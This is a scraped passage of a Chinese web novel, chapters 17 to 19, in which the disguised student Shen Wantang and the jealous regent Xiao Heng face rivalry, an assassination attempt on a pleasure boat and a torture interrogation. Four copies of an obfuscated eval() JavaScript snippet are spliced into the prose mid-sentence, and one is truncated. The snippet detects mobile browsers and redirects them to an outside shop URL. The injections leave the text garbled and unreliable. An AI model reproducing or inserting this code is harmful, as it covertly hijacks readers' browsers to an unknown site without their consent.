“姑娘放心。无论今日是沈二姑娘，还是书院中的顾公子，裴某皆当不知，绝不会在外人面前，混淆半分。” 沈挽棠心中复杂万分。 他果然早就知道自己的身份，甚至可能知道更多。 “多谢裴世子解围。” 沈挽棠语气疏离。 裴渡看着她疏离的姿态，心底却升起一股异样的感觉。 宴会喧嚣，他知晓了她的秘密，仿佛一条无形的丝线，猝然将两人紧密缠绕。 他心潮暗涌，语气轻柔。 “姑娘不必如此客气。若是日后在京中遇到了难处，或有裴某能略尽绵力之处，尽管告知于我。” “沈二姑娘是泽远在书院的好友，自然也是裴某的……朋友。” . 永嘉帝亲自遴选了一批京中贵女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744544|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的画像，命人浩浩荡荡地送入了摄政王府。 画卷在案头堆叠如山。 周玉徽觑着他的脸色，小心开口，“皇叔，这些都是陛下精挑细选的名门闺秀，才貌德行皆是上上之选，您可要过目一二？” 萧珩静坐案后，目光沉凝。 周玉徽见他久久不语，也不敢再多话。 室内一时落针可闻。 察觉不对，周玉徽小跑退出去。 寂静中，萧珩的脑海中反复浮现出一张面容。 不是任何一位温婉淑女，而是名为顾时的学子。 眼神清澈，带着不屈的倔强，时而聪慧狡黠，时而慌乱躲闪。 他的目光冷然扫过案头，画中人或娇媚或端庄，无一能入眼，反倒让那份不该存在的念想愈发灼人。 蓦地，他抬手，将整叠画卷尽数拂入火盆。 “轰——” 火光骤起，贪婪地舔舐着宣纸，顷刻间化为跃动烈焰。 世家贵女的笑颜在火中扭曲、蜷缩，化为焦黑碎屑纷扬。 跳跃火光映亮他深邃凤眸，映出冰冷的决绝，与深处不愿深究的波澜。 他置于膝上的手，隐现青筋。 良久，火焰渐熄。 “卫陵。” “属下在。” “去，”他顿了顿，“寻些相关的册子来。” 卫陵垂首的身形几不可察地一僵。 他跟随王爷多年，瞬间明白了这模糊指令下的惊世骇俗。 “是。”他沉声应道，“属下明白。” . 假期结束，书院重现喧闹，却唯独不见顾时的身影。 卫陵垂首禀报：“王爷，顾学子今日仍未至书院。” 室内气压骤沉。 卫陵斟酌着词句：“据查，顾学子是被宁远侯亲自接回府的，许是府中另有要事耽搁了。” “宁远侯府？” 萧珩指节轻叩案面，眸光微动。 说来，宁远侯府与长公主府还颇有渊源。 当年长公主难产，驸马远征在外，长公主亲往寺庙祈福。在寺中为她宽慰相伴的，正是已故的先宁远侯夫人，顾氏。 也是顾时的亲姑姑。 一封盖着卫指挥使私印的信，很快送至宁远侯案头。 宁远侯捏着那张薄薄的信笺，指尖发凉，手心里竟沁出涔涔冷汗。 他万万没想到，权势赫赫卫指挥使，竟会亲自过问一个不起眼学子的行踪。 若强行将人扣在府中，断绝与书院往来，只怕会引来更深的猜忌与祸端。 焦灼踱步良久，他阴沉着脸唤来沈挽棠。 沈挽棠踏入书房，神情平静，似早已料到。 “孽子！你早就料到会有今日，是不是？就等着看为父的笑话！” “是父亲从未将女儿的告诫听入耳中。” “收拾行装，明日滚回你的书院去！”宁远侯强压怒火，“记住你的身份，安安分分把书读完，此事便算揭过。若再节外生枝……” “父亲，”她目光清凌，直视着宁远侯，“是您该摆正自己的位置。” “好好好！”宁远侯连道三声，“我早就知道，当初就不该让你母亲踏入京城。我看得再准不过，当初就不该生下你这个孽障！” “父亲利用顾家，享受外祖父日夜照拂、捡回一命的恩情，如今是全忘了？” 当年他外放遇匪，重伤将死，是顾家父女冒险相救。为掩人耳目，他谎称逃难书生娶了顾青竹。一朝回京，却欲将前尘尽埋。 若非长公主暗中相助，顾青竹恐怕至死都寻不到他的踪迹。 沈挽棠迎着他惊怒的目光，又缓缓道：“既然是您有求于人，就该拿出求人该有的恳切态度。” 霎时间，宁远侯脸上血色尽褪。 17. 第 17 章 沈挽棠回到了云麓书院。 书院横卧山间，格外宁静。 她踏着青石小径往回廊中走，过往数月的光景历历在目。 课堂上的针锋相对，治水时的并肩而行，还有山洞中的相互扶持……记忆如同潮水，最终定格在先生那张清冷的面容上。 “顾兄。” 一个温润的声音自身侧响起。 沈挽棠回头，只见裴渡正从回廊另一端含笑走来，云山蓝锦袍衬得他愈发风姿清雅。 “顾兄，几日不见，别来无恙。” 他熟稔走到身侧。 周围有学子认出这位镇国公世子的身份，纷纷侧目低语。 沈挽棠有些意外。 “裴兄，你怎么来了书院？” 风声悄然寂静。 她指尖不自觉地搓了搓袖口。 毕竟他是知晓她秘密的人。 裴渡会意，凑近低声道：“顾兄放心，裴某言出必践。今日是专程来寻泽远的。这会儿正巧遇上顾兄。” 他的语气温和诚恳。 两人的距离过近，沈挽棠下意识后退，这一退，抬眼看见了立在回廊尽头的萧珩。 竹影摇曳。 他的神色晦暗不明。 沈挽棠心头莫名一虚。 萧珩似是极轻地哼笑一声，转身便走。广袖翻飞间，一双大手已悄然握紧。 修簧里，气压低沉得让人不敢言语。 萧珩独坐案前，指节抵着额角。 火气自心底窜起，烧得他心口发闷。 方才见她归来时那片刻的欣喜，早已被后续的画面搅得粉碎。 两人站在一处的模样太过扎眼。靠得那样近，衣袂几乎相缠，难道还要商议什么不便与外人道的事？ 他声音冷沉：“唤顾时来。” 萧珩骨节一下没一下扣着桌案。 沈挽棠恭敬行礼：“先生。” “方才见你与裴世子相谈甚欢。是在讨论课业，还是另有他事？” 他问得轻描淡写，指尖却无意识地在书页边缘摩挲了一下。 沈挽棠一怔，没料到他会问这个，忙垂首应：“回先生，只是偶遇寒暄几句，并未深谈。” “哦？是吗。” 萧珩这才抬眸，示意她在对面的书案前坐下。 侧案上整齐摆放着数十卷古籍，沈挽棠细看之下，才发觉这些竟都是她先前遍寻不得的孤本珍品。 “你上次的治水策论尚有诸多不足，需重新修订。”萧珩凤眸微抬，“我方才见你与裴世子相谈甚欢，若是他今日得空，不妨请他一并前来探讨。” “一并”二字，被他咬得略重。 “对了，”他语气平淡地补充，“接下来几日，你都要来此修习。” 沈挽棠自然不会真去请裴渡。 午后的日光斜斜照进来，满室澄明。 她伏案专心修订策论，偶尔提笔蘸墨，神情专注。 萧珩在主案前批阅文书，一抬眼便能看见她认真的侧脸。 日光映照下，那段纤细的后颈白得晃眼，宛若上好的羊脂玉。 一室静好，岁月安然。 萧珩心头的燥意竟渐渐消散。 待沈挽棠出了修簧里，便有下人来报，说裴世子因急事已匆匆离府。 裴渡素来稳重，能让他这般匆忙，想必是遇到了极为紧要的事。 沈挽棠踏入修簧里后不久，一纸来自镇国公府的家书也送到了裴渡手中。 镇国公府。 信中只道，有要事相商，命他速归。 裴渡匆匆回府，却未见父亲身影，只在花厅见到了刚从宫中归来的长姐，皇后裴云栖。 “阿渡回来了。” 裴云栖见到幼弟，眉眼间自然流露出疼爱之色。她屏退左右，姐弟二人叙话片刻，问了些书院近况。 裴渡为长姐斟了盏新茶，裴皇后接过。 “娘娘在宫中一切安好？” “一切都好。阿渡你也要照顾好自己。” 裴渡似是忽然想起，语气随意的开口。 “说起来，我今日去云麓书院寻泽远，见书院学风严谨，气象万千。” 他顿了顿继续：“听闻当初兴建时阻力不小，多亏了摄政王殿下在朝中一力主张，方有今日盛况。王爷能如此摒弃门第之见，广纳寒门贤才，这份心胸与远见，实非常人可及。” 他巧妙地将话题引向那人。 “你倒是有心。不错，云麓书院确实是摄政王排众议的成果。他深知人才为国之根本，这份远见，陛下也是极为认可的。” 裴云栖轻轻吹散茶沫。 “他这般苦心孤诣，广纳寒门贤才，说到底，也是想为咱们阿昭将来登基，夯实根基。” 阿昭是当今太子殿下乳名。 裴云栖目光落回裴渡脸上。 “不过，阿渡，你今日……似乎对摄政王的事格外上心？” 这便是察觉到他意有所指了。 裴渡心知瞒不过长姐，顺势垂下眼帘，斟酌着开口。 “阿姐明鉴。听闻王爷回京后，各方都在揣摩其心意动向。” “阿渡，摄政王是国之柱石，他的心意，便是安定朝局。至于其他……” 裴渡闻言，神色如常地颔首：“阿姐教诲的是，我明白了。” 晚膳时分，镇国公裴敬先终于回府，当即派人将裴渡唤至书房。 “今日急召你回来，是因卫指挥使今日在朝会上，以雷霆手段连参了三位与定国公交好的官员，其中一人更是大皇子的启蒙先生。” “陛下虽未当场发作，但已下旨严查。这绝非孤立之事，背后定有更深的风向。” 裴敬先声音凝重，目光深邃地看向儿子，意有所指。 “朝堂即将动荡，远离漩涡中心本是好事。但需谨记，谨言慎行，尤其要懂得审时度势，有些人……绝非表面看来那般简单。与之交往，当知分寸，更不可轻易卷入其是非之中。” “你需明白，裴家的立场，永远在皇后与太子这一边。” 裴渡静立聆听，心头一凛。 父亲没有明说有些人究竟是谁，但含糊的警告，与他心中盘旋的猜测惊人吻合。 宴山先生此人，气度超凡。 倒更像是那位权势滔天的摄政王。 . 是夜，修簧里内的灯火比往日黯淡许多。 萧珩独坐案前，望着跃动的烛火，忽然又想起那双清澈的眼睛。 自上次山洞共度后，他似乎不再那么厌恶黑暗了。 白日里因裴渡的靠近而生的不悦，这种情绪早已越界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744545|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他清楚地知道自己在想什么，这么多日，也已经坦然接受。 可他看不透顾时的心思。 万一吓到他…… 书案一角，放着卫陵前些日子寻来的几本册子。 萧珩的目光在册子上停留了许久，久到烛火都噼啪地轻跳了一下。 他终是伸手取过，指尖在书封上摩挲片刻，才下定决心般翻开。 刚一翻开，画中亲密交缠的图景便毫无预警地直刺眼底。 线条大胆露骨，不断冲击着人的视线。 他呼吸一窒，如同被烫到般猛地合上册子，青筋在手背上虬结蜿蜒，几乎要将那册子捏碎在掌心。 良久，他才缓缓松开力道，将画册重重按在案上。 荒谬！他竟真的在看这种东西？ 胸腔里一股浊气翻涌。 静默在室内蔓延，唯有烛火摇曳。 又过了良久，他深吸一口气，带着近乎自虐的决绝，重新打开册子。 这次，他的目光带着沉冷的审视，一字一句，一图一画，看了下去。 . 翌日，沈挽棠按时前往修簧里。 今日，案几上待批阅的文书摞得比往日更高，几乎叠成一座小山。 沈挽棠愣了片刻，诧异过后，开始安静地整理。 萧珩提笔疾书，并未抬眼，状似随意地问：“你前些日子，告假是去了宁远侯府？” 沈挽棠执卷的手微微一僵，心骤然提起，面上却强自镇定。 “回先生，学生是去侯府探望表妹。” “表妹？”萧珩眉梢微挑，带着一丝审视，“可是那位沈二姑娘？” 她垂眸作答：“是。学生与表妹自幼相识，情同手足。她少时曾在青州外祖家小住，与学生更为亲近些。” “亲近？”萧珩的眉头倏然蹙紧，笔锋力道加重，在纸上洇开一团刺目的墨痕。 他蓦地搁笔，“男女有别，即便血脉相连亦当避嫌，何况表亲？你既入书院，便当时时以清誉自重，频繁出入侯府内院，与闺阁女子过从甚密，传出去像什么样子！” 他顿了顿，不给她辩解的机会，语气更沉：“今日的课业，不写完，不准回去。” 沈挽棠：“是……” 今日的先生，似乎格外易怒。 萧珩霍然起身走到窗边，负手静立。 清冷竹风吹来，压不下心头无名燥火。 他知道方才失态，可一想到她与那沈二姑娘可能存在的亲密，以及昨日她与裴渡并肩而立的画面，那股邪火便抑制不住地往上窜。 他转身回来坐下，目光重新落回卷册。 他又抬头，一缕碎发自她耳后滑落，勾勒出线条柔美的侧颜。 午后的光晕透进来，温柔地铺在她低垂的眼睫上，后颈莹白细腻，仿佛能透出光来。 萧珩喉间莫名发紧。 他倏然收回视线，强行将翻涌的心绪压下，再次不经意地提点。 “至于裴世子，”他声音平淡，“镇国公府门第高华是不假，但内里关系盘根错节。他身为嫡长，周旋于东宫与各派势力之间，处境复杂。与这样的人走得太近，是福是祸，你可曾仔细掂量过？” 沈挽棠闻言又是一怔。 今日的先生，不仅易怒，言语间更是透着几分……刻薄。 18. 第 18 章 六月十四，辰时初刻。 天色未明，宫中赏赐便如流水般涌入摄政王府。 各式奇珍异宝堆满前厅，无声彰显着天子对这位胞弟的殊宠。 萧珩本无意庆贺，却在皇帝的特意关照下，使这日子成了朝野心照不宣的要事。 低调，却万众瞩目。 与此相对的，是万寿宫的冷清。 太后娘娘一早便称病，免了六宫请安。 纵使知道萧珩不怎么过生辰，周玉徽还是早早备好了贺礼，亲自送上，连同长公主府的那份厚礼一并呈递。 “皇叔，生辰吉乐！” 他语带期盼。 事实上，前几日他便已亲自督促下人布置萧珩在书院的居所，处处用心。 恰在书院门口遇见正要外出的沈挽棠，他立刻凑上前去。 “顾学子，过两日可是个大日子，你猜猜是什么？” “莫非是……书院考核？”沈挽棠答。 周玉徽摆手：“无趣！直接告诉你罢，是先生的生辰！” 他目光灼灼，等着看对方露出惊讶神情。可沈挽棠却只是略一颔首，面上未见丝毫波澜。 仿佛听到的不过是再寻常不过的消息。 周玉徽彻底失了兴致。 沈挽棠借着书院休沐，名义上是回侯府探望，实则是宁远侯要亲自听取她的近况。 宁远侯府，书房。 下人们屏退左右。 “说吧，在书院这些时日，可有什么收获？” “你与那位裴世子的关系，维持得如何？” 宁远侯提及裴世子，语气刻意加重，带着明显的暗示。 若能借此攀上镇国公府的高枝，才不枉一番筹谋。 “我与裴世子，仅是数面之缘，并无深交。” 沈挽棠无意多言。 事实上，他与宁远侯之间达成了一种脆弱的默契。 她安稳度过书院时光，之后便放她前往青州，不再插手她的婚事。 宁远侯脸色骤然沉下，拂袖而去。 . 萧珩回到修簧里。 生辰将至，旁人如何庆贺，他并不关心。或许说，他从未懂得该如何庆贺。 自幼年起，这便不是个值得期待的日子。 案几上堆满各方送来的贺礼，琳琅满目。 窗外是一方清浅池塘，几尾锦鲤在碧水中悠然游弋，搅碎一池天光。 卫陵上前，低声禀报：“王爷，顾学子前几日下学后，回了宁远侯府。这几日，她去了几次城西的墨韵斋。” 墨韵斋是专营文房四宝的老字号。 萧珩目光未动，嗓音沉沉。 “他人呢？” “已在回书院的路上，戌时初刻当至。” 竹影疏疏，随风轻晃。 萧珩望着那晃动的影子，忽然想起他强压着性子看完的册子，以及册中令人面红耳赤的画面。 继而，一张清俊倔强的面容不由自主地浮现于脑海。 该如何开口？ 若他不喜，甚至不愿…… 一股无名燥火骤然窜起，烧得他心绪不宁。他信步朝竹林深处走去，欲借这片清幽涤荡胸中块垒。 凉风适时拂过，穿透薄薄夏衫。 竹叶特有的清苦气息，丝丝凉意浸入肌肤，似乎真的压下了心中翻腾的念头。 然而，行至一处他素日惯常驻足之地，脚步却蓦地慢了下来。 此处他曾亲手植下的几竿新竹，姿态极佳，疏朗挺拔，映着月色时尤显风致。 可此刻，它们竟被人齐根砍断，凌乱地倒伏在地。 断口处还透着新鲜的湿润，显然事发不久。 “此处的竹子被人砍了，竟无人察觉？” 萧珩的声音陡然转冷。 周身瞬间散发寒意。 卫陵心头剧震，当即跪地请罪：“是臣失察！臣自当领罚！” 他背脊渗出冷汗，确实未曾料到，竟有人如此胆大包天，敢动王爷亲自看顾的竹子。 恰在此时，周玉徽大大咧咧地走进来修簧里，手里还端着个狭长的锦盒。 “皇叔，我在外边廊边捡到这个，像是谁落下的。” 身后青衣小厮怯生生地补充道：“先生，方才似是顾学子在附近停留过。” 萧珩抬眸看来。 周玉徽明显感觉到，周遭彻骨的寒意，奇迹般地消散了几分。 锦盒打开，其中并非什么金玉奇珍，只是一支品相极佳的狼毫笔。 笔杆取青竹为材，巧妙保留了竹节的形态。 笔身打磨得光滑温润，造型简约素雅，风骨自成。 萧珩指腹抚过那微凉的笔杆。 这竹材，他再熟悉不过。 正是他院中那几株被砍断的潇湘竹。 原来她这几日去墨韵斋是为了这个。 脑海中，浮现出那人伏案时的专注侧影。或许正对着这段竹子凝神构思，或许正小心翼翼打磨制作…… 砍伐他心爱竹子的僭越之举，此刻也有了全然不同的意义。 紧蹙的眉峰不知不觉舒展。 他唇边浮现浅淡笑意，如春风化雪。 “嗯，他的生辰礼我受下了。” 周身凛冽的气息已化为一片平和。 一旁的周玉徽看得目瞪口呆。 就这么一支笔，竟将皇叔方才那滔天的怒火给浇熄了？ 这顾时，真乃神人也！ 他立刻凑上前，啧啧称赞。 “顾学子可真是有心了！瞧这笔做的，多雅致，定然是花了不少心思挑选的。” 他指着笔杆上的天然竹节纹路。 “看这纹理，多别致，定然是费了功夫寻来的好竹子。这做工更是没得说，处处透着心思，绝非市面上那些寻常礼物可比。” “瞧这笔杆打磨得如此光滑匀称，定是反复斟酌修改过的，真不知他是从何时起便开始悄悄准备这份贺礼了……” 萧珩没有理会他的聒噪，只小心翼翼地将笔放回锦盒。 他合上盖子的动作很轻。 随后对跪在地上卫陵道：“不必领罚，去把竹子重新种上，若是有人想砍，就任由她砍。” 入夜。 竹笔在指尖辗转，心绪被风吹乱，理不清，又放不下。 既然是送生辰礼，为何人不亲自来，倒像是要避开自己一般。 萧珩未能按捺住，匆匆出了门。 夜风拂面，衣袍染上凉寒。 他需要见她，哪怕只是说上两句话。 然而，学舍一片漆黑，灯火已熄。 夜色渐深，清冷月光将他挺拔的身影拉得修长，更显孤寂。 次日清晨。 “先生，顾学子一早便离院，回宁远侯府去了。” 萧珩倏然抬眼：“他昨日不是才从宁远侯府回来？” 周遭的空气却仿佛凝滞。 “昨日是去探望沈二姑娘。今日听闻，是沈二姑娘相邀，请顾学子过府探望沈大姑娘。此刻人应当已在路上了。” “咔哒——” 萧珩指间的茶盏底座应声碎裂，温热的茶汤漫过案几，蜿蜒流淌。 往日沉静的凤眸深处，浮起一层森寒冷冽的笑意。 “好，很好。” 一股无名火气猛地窜起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744546|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，灼烧着理智。 好一个顾时。 昨日是沈二姑娘，今日便是沈大姑娘。宁远侯府的姑娘，就这般让他流连忘返，接连两日奔波往复？ 他几乎能想象，顾时在面对那些闺阁女子时，或许也会流露出那种专注倾听的神态，或许也会因羞怯而微微泛红耳根…… 凭空臆想的画面，如同细密的针，扎得他胸口窒闷难当。 昨夜未见其人的空落与此刻翻涌的怒意相比，微不足道。 一种更原始的情绪，将他吞噬。 萧珩清晰地认识到，他在嫉妒。 嫉妒那些能理所当然占据她时间、引她驻足、甚至能让她露出他所未曾见过的神态的人。 “备车。” “酉时正，去宁远侯府。” . 宁远侯府外，暮色渐合。 沈挽棠随沈婉清见过平阳侯世子明子谦，亲眼确认了对方的品性，心下稍安。 其实近些日子，她总寻着由头不回书院。 心底催生出一股说不清道不明的逃避。 她不愿深究这股情绪，只将其草草归结为连日奔波带来的倦怠。 沈挽棠辞别侯府，刚迈出大门，便见一人长身玉立，似乎已等候多时。 竟是裴渡。 他迎上前，目光在她一身学子袍上轻轻掠过，含笑拱手。 “顾兄。今夜月华正好，不知裴某是否有幸，能与顾兄移步品茗，清谈赏月？” “有些书院课业上的疑难，也想借此机会向顾兄请教。” 沈挽棠正欲寻个理由婉拒。 “她今夜，另有安排。” 一道低沉嗓音自身后响起，不高，却带着一种久居上位的威压。 周遭空气瞬间凝滞几分。 话音未落，一只骨节分明的手已带着不容抗拒的力道，精准地扣住了她的腕骨。 沈挽棠瞬间被定在原地，阻断了旁人靠近的可能。 沈挽棠下意识地侧首，看清了来人。 先生的玄色身影如山岳般，彻底隔断在她与裴渡之间。 萧珩并未立刻理会裴渡，凤眸先是微垂，目光在她被握住的纤细腕骨上停留一瞬，旋即才缓缓抬起。 “策论思路混沌，条理全无。你竟还有闲情逸致，与人月下清谈？” 话是对沈挽棠说的，目光却是紧锁着裴渡。 他薄唇微启：“裴世子雅兴，只怕她要辜负了。请回。” 裴渡眼中闪过一丝极快的讶异，随即笑意更深，从容不迫地应道：“原来如此。只是不知，宴山先生对门下每一位学生的课业，都如此事必躬亲，关怀备至？” 言语温和，却带着不退让的意味。 萧珩凤眸微眯，周身寒意骤然凛冽。 他并未接话。 裴渡仿佛浑然未觉这迫人气势，目光竟再度试图越过他，直接投向被他护在身后的沈挽棠，语气依旧温和。 “顾兄，课业虽要紧，但也需张弛有度。你意下如何？” 萧珩眼底风雷骤聚。 空气中升起一股窒息感。 无形的硝烟在两人之间弥漫。 沈挽棠心头警铃大作，急忙侧身半步，巧妙隔开两人。 她连声应道：“是的是的！先生教训的是！课业要紧，是学生疏忽了！裴世子的盛情心领，待课业完成，定当面向世子请教！” 萧珩从喉间逸出一声极低的哼笑。 笑声里听不出暖意，反而带着一种早该如此的冷然。 他不再看裴渡，仿佛对方不值一顾。 紧扣着沈挽棠手腕的力道未松，牵着人转身，朝马车走去。 19. 第 19 章 六月十五，戌时。 暮色如纱，河岸两侧早已悬起各式花灯。 暖黄的光晕连缀成片，静静流淌。 马车停靠在岸边的槐树下。 萧珩走在前面，沈挽棠刻意落后半步跟在后面。 她的目光不时落在前面身影上。 灯火勾勒，方才冷硬如冰的线条，此刻却显出近乎温柔的轮廓。 “你可是在心里怪我？”萧珩忽然开口。 他方才将人带离，态度有些强硬。 沈挽棠一句不敢在唇边辗转，终究未能出口，只垂着头走。 萧珩却倏然放慢了脚步。 不过瞬息，两人已并肩而行，衣袖在夜风中轻轻相触，若即若离。 他侧首，目光落在她眉眼间：“那日遇袭，你舍身相护，胆魄惊人，可不似此刻这般怯懦畏缩。” 沈挽棠因突然逼近的气息，下意识后退，脚下却踩到块松动的卵石，身形一晃。 温热的大手及时托住了她的后腰。 触碰一瞬即离，快得仿佛只是错觉。 她疏离应道：“学生……彼时情势危急，不过是情急之下的本能反应，先生莫要再取笑学生了。” 清晰的灼热感还在，透过衣料熨烫在肌肤上。 她神色淡然，刻意划清界限。 萧珩见她这般，心头那股才被夜风稍稍抚平的燥意，瞬间复燃，且烧得更旺。 良久，他极轻地冷哼了一声。 . 江面上，各色画舫灯火通明。 装饰清雅的画舫正缓缓驶向河心，将岸上的喧嚣远远抛在身后。 船头，卫陵如一尊冰雕，警惕地扫视着四周。 船舱内，沈挽棠与萧珩相对而坐，中间隔着一方小几。 茶烟袅袅。 船外，夜空被璀璨的烟火点亮。 沈挽棠走上船面。 万千光华倾泻而下，河面映照如琉璃，美不胜收。 沈挽棠仰起头，清澈的眸子里映满了流光溢彩。 她眉眼间漾开纯粹的欢喜。 眼前美景，分毫不差地落入了萧珩眼中。他不动声色地摩挲指节。 画舫驶入最热闹的水域，邻船的丝竹管弦与调笑声阵阵传来。 几条挂着粉纱灯笼的舫船上，身姿曼妙的舞姬正随着乐曲翩跹起舞，水袖飞扬间，眼波流转，媚意横生。 其中一人，尤为出众，正是窈娘。 她的目光越过喧嚣，精准地捕捉到了对面画舫上的景象。 萧珩那般冷峻人物竟出现，那深沉难测的目光，竟自始至终都缠绕在身旁那位清俊学子身上。 她不由得掩唇轻笑。 她跟身旁姐妹交换一个心照不宣的眼神，带着洞悉一切的调侃。 “瞧见了么？那位爷看着冷情，像是九天上的冰疙瘩，却把自家的小先生看得跟眼珠子似的，一刻也舍不得挪开呢。” 夜色愈发深浓，暗潮汹涌。 画舫行至河心最开阔处，最是浮华胜景。 然而，异变陡生。 “噗通！” 几声水响过后，数道身着黑色身影如鬼魅般翻上船面。手中短刃在反射出幽冷的寒光，直扑舱门。 “有刺客！保护先生！” 卫陵厉喝。 他长剑出鞘，剑光过处，已有两名刺客捂着喉咙倒下。 卫陵精准击落刺客欲塞入口中的毒丸，留下活口。 这批刺客训练有素，目的明确。 且为首之人眼神毒辣，一眼便锁定身影较弱的沈挽棠。他虚晃一招避开卫陵的剑锋，身形顿矮，刀锋直刺沈挽棠心口。 萧珩眸中冰层碎裂，杀意凌厉。 沈挽棠只觉一股不容抗拒的力量袭来，天旋地转间，已被牢牢护在怀中，脸颊紧贴着他温热的胸膛。 她清晰地感受着绷紧的肌肉线条。 宽大的袖袍遮住了她的视线，一片黑暗。 萧珩一手护着沈挽棠，同时另一只手五指如铁钳般扼上对方咽喉，毫不留情地一收一拧。 温热的液体溅上舱壁，沈挽棠只听见一声脆响。 她抬头，恰好看见他紧蹙的眉头，还有凌厉的下颌线条。 这样的先生，她不曾见过。 刺客目标明确，越来越多的人试图突破防线，冲向沈挽棠。 萧珩周身散发出骇人杀气。 “哗啦！” 又一道身影从水下猛地窜出，湿漉冰冷的手猝然抓住了沈挽棠的脚踝。 女刺客蒙着面，身形灵动异常。 萧珩为护沈挽棠周全，衣袍下摆被对方刁钻的匕首划开道裂口。 船面太开阔，四面受敌。 沈挽棠拉着萧珩进了船舱。 舱外兵刃交击声、落水声依然清晰，却被舱门木板隔绝在了另一个世界。 桌上的防风灯燃烧着，光影晃动。两人纠缠的身影映照在狭窄的舱壁。 极致的寂静与喧嚣的对比，生死压迫下，沈挽棠心头升起一股莫名的情绪。 她被驱使着，鬼使神差地说：“先生，别怕。卫大人他们定能应付。” 话音未落，她自己先愣住了。 她怎会说出这样的话？ 几乎是同时，她微颤的指尖抬起，拂开了他额前方才散落的一缕濡湿墨发。 发丝微凉，沾染着汗意与若有若无的血腥气。 她的指尖感到一股近乎灼烫的触感。 这个动作，过于亲密，也过于突然。 萧珩的呼吸骤停，身体僵硬如铁。 一瞬间，维持已久的沉静冰面在瞬间碎裂，消融殆尽。 其下翻涌着深不见底的浓暗情绪，滚烫的占有和渴求几乎焚尽一切。 那双凤眸无比深沉，带着近乎凶狠的贪恋，如同无形的粘稠蛛网，将眼前近在咫尺的人牢牢缠绕、缚住。 萧珩的目光不受控地掠过她的羽睫，描摹她因紧张而微启的唇瓣。 一种俯身攫取的冲动，如野火般在他血脉中疯狂叫嚣。 . 影卫司，水牢。 水牢深埋地底，需穿过一条窄桥方能抵达。 桥下浊浪翻涌，隐约可见白骨沉浮。 墙壁渗着水汽，火光扭曲摇曳。 窈娘被锁链缚在刑架之上，早已不复往日风采。 她云鬓散乱，华美裙衫被鞭子撕裂成布条，伤口皮肉翻卷。 持续的灼痛让她控制不住地痉挛，与之前那个眼波流转、长袖善舞的花魁判若两人。 萧珩端坐在阴影里的太师椅上，如同蛰伏的猛兽，静默地看着这一切。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744547|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周身气息比水牢更为冰寒。 窈娘艰难地抬起头，喘着粗气。 “原来你们早就知道了我的身份，知道我刻意接近，是为了王爷……摄政王当真是好手段，竟带着我假意探查水患，引蛇出洞。” “你可真是忠心。”卫陵的声音冰冷，“即便察觉是饵，也甘愿咬钩，留在京城。你说，李执善他知道你为他做到如此地步吗？” 李执善是临安王的名字。 听到这个名字，窈娘眼中恍惚。 她仿佛看见了那个让她甘愿赴汤蹈火的身影。 “王爷不需要知道！”她猛地回过神，语气带着殉道者的疯狂，“我也不会告诉你他在哪里！哦，即便你知道了，也抓不到他的，永远别想！” 卫陵手腕一抖，长鞭带着破空之声，再次落下。 窈娘压抑不住地凄厉惨嚎。 萧珩面无表情，指节分明的手端起茶盏。 盏壁温热，却驱不散他眉宇间的寒意。 卫陵躬身，低声禀报：“京城几位官员，如吏部张焕、漕运使赵志明，虽未直接投靠，但其贪腐蠢行，客观上为李执的残部提供了银钱与漕运之便……” 听着这些与自己接头之人的名字被一一点出，窈娘的心沉入冰窟。 不过，对于背后那条真正的大鱼，她的确也一无所知。 “王爷，此人如何处置？” “杀了。” 命令下达得没有一丝犹豫。 此人已知情报已被榨尽，留之无用。且其心志坚定，绝不会真正背叛旧主。 更重要的是，临安王的踪迹他已掌握。 她，已是一枚弃子。 濒死的恐惧让窈娘脑中灵光一闪。 她挣扎着抬头，嘶声道：“谁能想到杀伐决断的摄政王，私下竟也是个情种，真是可笑！” 萧珩眸光骤然一凛。 他倏然起身，取过刑架上的匕首，手臂一扬，匕首狠狠钉入了她的肩胛骨缝。 剧烈的疼痛让窈娘眼前一黑，几乎瞬间昏死过去。 “原本，看在你弟弟尚在襁褓，本王有意留他一命。现在看来，是你不想。” 